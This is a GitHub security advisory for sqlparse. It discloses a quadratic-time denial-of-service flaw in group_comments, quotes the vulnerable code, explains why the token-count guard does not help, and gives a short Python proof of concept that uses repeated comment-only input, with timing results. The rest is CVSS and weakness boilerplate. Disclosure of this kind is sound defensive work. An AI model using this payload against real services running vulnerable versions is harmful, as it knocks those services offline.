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sqlparse: Quadratic O(n²) DoS in group_comments

High severity GitHub Reviewed Published Aug 10, 2026 in andialbrecht/sqlparse • Updated Aug 17, 2026

Package

pip sqlparse (pip)

Affected versions

<= 0.5.5

Patched versions

0.6.0

Description

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

  1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

References

@andialbrecht andialbrecht published to andialbrecht/sqlparse Aug 10, 2026
Published to the GitHub Advisory Database Aug 17, 2026
Reviewed Aug 17, 2026
Last updated Aug 17, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(18th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

CVE ID

CVE-2026-71491

GHSA ID

GHSA-f2ff-p2ww-7p4p

Source code

Credits

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